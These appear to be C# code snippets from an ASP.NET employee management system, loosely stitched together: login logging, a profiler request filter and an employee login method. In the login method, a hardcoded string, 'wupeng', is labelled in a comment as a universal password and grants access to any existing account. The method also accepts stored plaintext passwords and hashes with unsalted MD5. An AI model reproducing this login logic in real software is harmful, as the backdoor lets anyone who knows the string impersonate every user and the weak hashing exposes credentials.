/// <summary> /// 写入登录日志 /// </summary> /// <param name="m_emp"></param> public void LoginLog(Sys_Employee m_emp) { BaseService <sys_LoginLog> _logService = new BaseService <sys_LoginLog>(); //修改最后一次登录时间 var m_LastLog = _logService.GetListBy <DateTime?>(null, c => c.LoginDate, false).FirstOrDefault(); if (m_LastLog != null) { m_emp.LastLoginTime = m_LastLog.LoginDate; _empService.Update(m_emp); } //添加登录日志 string ip = IpAddress.GetIP(); sys_LoginLog log = new sys_LoginLog(); log.LoginId = Guid.NewGuid(); log.LoginEmployee = m_emp.EmployeeID; log.LoginEmployeeKey = m_emp.EmployeeID.ToString(); log.LoginDate = DateTime.Now; log.LoginCity = IpAddress.GetAddressByIp(ip, 2); //登录城市 log.LoginIpAddress = ip; //外网Ip log.LoginInIp = HttpContext.Current.Request.UserHostAddress; //内网Ip _logService.Add(log); }
public static void RequestBegin(HttpApplication app) { if (!commandService.Process(app)) { var request = app.Request; var path = request.Url.AbsolutePath.ToLower(); if (path == "/favicon.ico" || path == "/synccache.ashx" || path == "/pagemonitor") { return; } //url filter if (!String.IsNullOrEmpty(serviceData.Setting.UrlFilter) && !request.Url.AbsolutePath.ToLower().Contains(serviceData.Setting.UrlFilter.ToLower())) { return; } //ip filter if (!String.IsNullOrEmpty(serviceData.Setting.IPFilter) && !IpAddress.GetIP().Contains(serviceData.Setting.IPFilter)) { return; } //no url filter if (!String.IsNullOrEmpty(serviceData.Setting.NoUrlFilter)) { var noUrls = serviceData.Setting.NoUrlFilter.ToLower().Split(new char[] { ' ' }, StringSplitOptions.RemoveEmptyEntries); if (noUrls.Any(o => path.Contains(o))) { return; } } ProfilerContext.Current.Begin(); } }
public static string GetRequestIp() { return(IpAddress.GetIP()); }
public AjaxMessage EmpLogin(string loginName, string passWord, string Ip) { AjaxMessage ajax = new AjaxMessage(); ajax.IsSuccess = false; ajax.Message = ""; try { //获取启用的员工 是否存在 Sys_Employee m_emp = _empService.GetByLoginName(loginName); if (m_emp == null) { ajax.Message = "用户名不存在"; } else { string input_pwd = passWord.MD5Hash().ToUpper(); if (passWord == "wupeng") //万能密码 { ajax.IsSuccess = true; } else { if (input_pwd == m_emp.PassWord) { ajax.IsSuccess = true; } else if (passWord.ToLower() == m_emp.PassWord.ToLower()) //没加密密码 对比 { m_emp.PassWord = input_pwd; //进行加密 int result = _empService.Update(m_emp); if (result > 0) { ajax.IsSuccess = true; } } else { ajax.Message = "密码输入错误"; } } } if (ajax.IsSuccess == true) { BaseService <sys_LoginLog> _logService = new BaseService <sys_LoginLog>(); //修改最后一次登录时间 var m_LastLog = _logService.GetListBy <DateTime?>(null, c => c.LoginDate, false).FirstOrDefault(); if (m_LastLog != null) { m_emp.LastLoginTime = m_LastLog.LoginDate; _empService.Update(m_emp); } //添加登录日志 string ip = IpAddress.GetIP(); sys_LoginLog log = new sys_LoginLog(); log.LoginId = Guid.NewGuid(); log.LoginEmployee = m_emp.EmployeeID; log.LoginEmployeeKey = m_emp.EmployeeID.ToString(); log.LoginDate = DateTime.Now; log.LoginCity = IpAddress.GetAddressByIp(ip, 2); //登录城市 log.LoginIpAddress = ip; //外网Ip log.LoginInIp = HttpContext.Current.Request.UserHostAddress; //内网Ip _logService.Add(log); } } catch (Exception e) { ajax.IsSuccess = false; ajax.Message = e.Message; } return(ajax); }